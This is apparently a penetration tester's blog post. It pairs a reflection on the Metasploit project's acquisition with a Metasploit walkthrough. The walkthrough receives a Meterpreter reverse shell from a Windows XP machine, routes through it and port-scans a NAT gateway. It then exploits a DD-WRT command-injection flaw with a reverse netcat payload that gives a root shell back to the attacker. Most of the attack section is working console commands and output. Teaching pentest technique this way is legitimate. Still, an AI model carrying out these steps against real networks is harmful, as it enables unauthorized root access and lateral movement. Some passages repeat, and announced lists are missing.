I'm Still Alive
Sorry for nost posting in a long while I have been very busy lately. I'm working on new material, update existing and will be posting on a regular basis soon.
When getting shell is only the start of the journey.
Sorry for nost posting in a long while I have been very busy lately. I'm working on new material, update existing and will be posting on a regular basis soon.
Let me start by saying that this are the opinions of a contributor. To this day I have contributed to the project 3 Auxiliary Modules and 16 Meterpreter scripts to the project and I had the honor and privilege to present with HD in Defcon 17 in the Metasploit Trac. I was initially in shock when I saw the news on my iPhone while stuck in traffic, when I saw the news I could not believe it, I thought it was a joke. When I got to my office I quickly checked the web pages and listen to the Risky Business Podcast where they interviewed about the acquisition and read all of the tweets of people in favor and against it, their worries, rants and comments. After all of this I mentioned,I came to the conclusion that this is a great thing for the project for a lot of time this project has been the labor of love of the members of the Metasploit project, with very few active committers and summiteers other than a handful, each putting of their own free time, sacrificing long nights, family time and money to work on the project. Some wrote code to scratch their own itch and solve problems they had others just did it for the same motivation that have pushed hackers everywhere to write code, the fun of creating something and learning how stuff works. In my case I stopped doing penetration tests and security audits many years ago and in December of last year decided to get back in to the game by sharing stuff in my blog, forums and turning a lot of the stuff I knew in to tools and scripts, in that process I started writing code for Metasploit and I never found in any other project a community so patient and willing to help. HD has given me tips that made me a better coder, he was always patient and cotius with me and other contributors, the members of the team have also always been helpful like Natron, ET, Chris Gates and MC with each piece of code I wrote (which many time was ugly as hell). HD is now a father and as a dad also of little girl I know how hard it is to spend time coding to contribute to a community and sacrifice the precious time one has with something as precious as ones own child, what he did will give him more time to spend with his family and still work on the project he loves as well as for some of the members of the Metasploit team. Here is a list of the advantages I see:
The fears I have seen express by many have been:
To this I answer, HD has put long hours and money to fund this project by himself, he has expressed that he will continue to keep the project open source as well as support the community and to this I say he has more than earned our support and trust. I trust HD and keep him to his word. The project is under BSD license so the same community that has made Metasploit grow can fork it and keep it going, but for now my trust is on HD and the Dev team. So lets keep supporting the project by contributing, testing the code, reporting bugs and make this and even better framework. I do say I envy HD and Egyp7 from the team, they are now working full time on what they love so I say to them and the rest of the Metasploit team congratulations and my best wishes.
Special Thanks to Chris John Riley for getting me the video, the Pauldotcom Crew for their support and to HD for giving me the oportunity to present. I hope you guys enjoy it. My english was very bad it was a bit rushed since Adam Savage from Mythbusters took some time from the Metasploit track allocated time and we had to rush it a bit to be able to present all the material.
Defcon 17 Tactical Meterpreter Scripting from Carlos Perez on Vimeo.
My presentation and sample functions are in presentationsection of the website, take a look and let me know if you like it.
Metasploit now has in the 3.3 Dev SVN an exploit for embedded device Linux distribution DD-WRT. This exploit module abuses a metacharacter injection vulnerability in the HTTP management server of wireless gateways running DD-WRT. This flaw allows an unauthenticated attacker to execute arbitrary commands as the root user account. It was argued that this exploit is of low impact by some since the distribution only listens for HTTP connections thru the internal interface. In this example of using the exploit the exploit will be used thru a pivot obtained thru a client side exploit from which we will pivot, do a discovery, finger print the device and exploit it. In the following example we will start by showing our IP of the attacker machine, receiving the Meterpreter shell and showing the target box IP thru a cmd shell:
msf > ifconfig eth0[*] exec: ifconfig eth0eth0 Link encap:Ethernet HWaddr 00:0e:7f:f9:12:62inet addr:192.168.1.158 Bcast:192.168.1.255 Mask:255.255.255.0inet6 addr: fe80::20e:7fff:fef9:1262/64 Scope:LinkUP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1RX packets:55461 errors:0 dropped:0 overruns:0 frame:0TX packets:23899 errors:0 dropped:0 overruns:0 carrier:0collisions:0 txqueuelen:1000RX bytes:58889891 (58.8 MB) TX bytes:3107063 (3.1 MB)Interrupt:20msf > use exploit/multi/handlermsf exploit(handler) > set PAYLOAD windows/meterpreter/reverse_tcpPAYLOAD => windows/meterpreter/reverse_tcpmsf exploit(handler) > set LHOST 192.168.1.158LHOST => 192.168.1.158msf exploit(handler) > set ExitOnSession falseExitOnSession => falsemsf exploit(handler) > exploit -j -z[*] Exploit running as background job.msf exploit(handler) >[*] Handler binding to LHOST 0.0.0.0[*] Started reverse handler[*] Starting the payload handler...[*] Transmitting intermediate stager for over-sized stage...(216 bytes)[*] Sending stage (718336 bytes)[*] Meterpreter session 1 opened (192.168.1.158:4444 -> 192.168.1.100:1085)msf exploit(handler) > session -i 1[-] Unknown command: session.msf exploit(handler) > sessions -i 1[*] Starting interaction with 1...meterpreter > sysinfoComputer: AWINXP01OS : Windows XP (Build 2600, Service Pack 2).meterpreter > execute -H -f -c -i -f cmd.exeProcess 1708 created.Channel 1 created.Microsoft Windows XP [Version 5.1.2600](C) Copyright 1985-2001 Microsoft Corp.C:\Documents and Settings\administrator\Desktop>ipconfigipconfigWindows IP ConfigurationEthernet adapter Local Area Connection:Connection-specific DNS Suffix . :IP Address. . . . . . . . . . . . : 192.168.111.200Subnet Mask . . . . . . . . . . . : 255.255.255.0Default Gateway . . . . . . . . . : 192.168.111.2C:\Documents and Settings\administrator\Desktop>exitmeterpreter >
Know we proceed to background this session and set a route thru the session to the network behind the NAT router from the information we gathered:
meterpreter >Background session 1? [y/N]msf exploit(handler) >msf exploit(handler) > route add 192.168.111.0 255.255.255.0 1msf exploit(handler) > route printActive Routing Table====================Subnet Netmask Gateway------ ------- -------192.168.111.0 255.255.255.0 Session 1msf exploit(handler) >
Now that the route is created we can use the TCP Port Scanner Auxiliary Module to do a TCP scan of the default gateway of the target network:
msf exploit(handler) > use auxiliary/scanner/portscan/tcpmsf auxiliary(tcp) > infoName: TCP Port ScannerVersion: 6823License: Metasploit Framework License (BSD)Provided by:hdm <hdm@metasploit.com>kris katterjohn <katterjohn@gmail.com>Basic options:Name Current Setting Required Description---- --------------- -------- -----------PORTS 1-10000 yes Ports to scan (e.g. 22-25,80,110-900)RHOSTS yes The target address range or CIDR identifierTHREADS 1 yes The number of concurrent threadsTIMEOUT 1000 yes The socket connect timeout in millisecondsDescription:Enumerate open TCP servicesmsf auxiliary(tcp) > set PORTS 22,23,80,443PORTS => 22,23,80,443msf auxiliary(tcp) > set RHOSTS 192.168.111.2RHOSTS => 192.168.111.2msf auxiliary(tcp) > run[*] TCP OPEN 192.168.111.2:22[*] TCP OPEN 192.168.111.2:23[*] TCP OPEN 192.168.111.2:80[*] Auxiliary module execution completedmsf exploit(handler) >
Since we are going thru a Meterpreter TCP pivot is important to remember to keep the THREAD variable to 1 since Meterpreter is not multithreaded and limit the number of ports to those you want to target so as to not expend a large amount of time scanning. Now that the ports that are open we proceed to finger print one of the services by getting the banner using the connect command in Metasploit:
msf exploit(handler) > connect -c 1 192.168.111.2 23[*] Connected to 192.168.111.2:23DD-WRT v24 std (c) 2007 NewMedia-NET GmbHRelease: 01/26/07 (SVN revision: 5660M)�DD-WRTx86CI login: ^Cmsf exploit(handler) >msf exploit(handler) >
As we can see the Telnet login banner identifies the target machine as a DD-WRT box. We know proceed to load the exploit module and set a reverse netcat payload and set the other appropriate variables. Onece we have ran the exploit and a session is created we proceed to run the Linux uname command to check the version of the device and to also check the shell is working:
msf exploit(handler) > use exploit/linux/http/ddwrt_cgibin_execmsf exploit(ddwrt_cgibin_exec) > set PAYLOAD cmd/unix/reverse_netcatPAYLOAD => cmd/unix/reverse_netcatmsf exploit(ddwrt_cgibin_exec) > set LPORT 2222LPORT => 2222msf exploit(ddwrt_cgibin_exec) > set RHOST 192.168.111.2RHOST => 192.168.111.2msf exploit(ddwrt_cgibin_exec) > set LHOST 192.168.1.158LHOST => 192.168.1.158msf exploit(ddwrt_cgibin_exec) > exploit[*] Handler binding to LHOST 0.0.0.0[*] Started reverse handler[*] Sending GET request with encoded command line...[*] Command shell session 2 opened (192.168.1.158:2222 -> 192.168.1.100:4531)uname -aLinux DD-WRTx86CI 2.6.19.2dd-wrt #45 Fri Jan 26 06:28:01 CET 2007 i686 unknown
One advantage is that since the shell is running thru a Meterpreter session all traffic outside of the target network to the attackers box is encrypted using SSL.
For more information on this vulnerability please check the following links:
http://www.securityfocus.com/bid/35742http://www.milw0rm.com/exploits/9209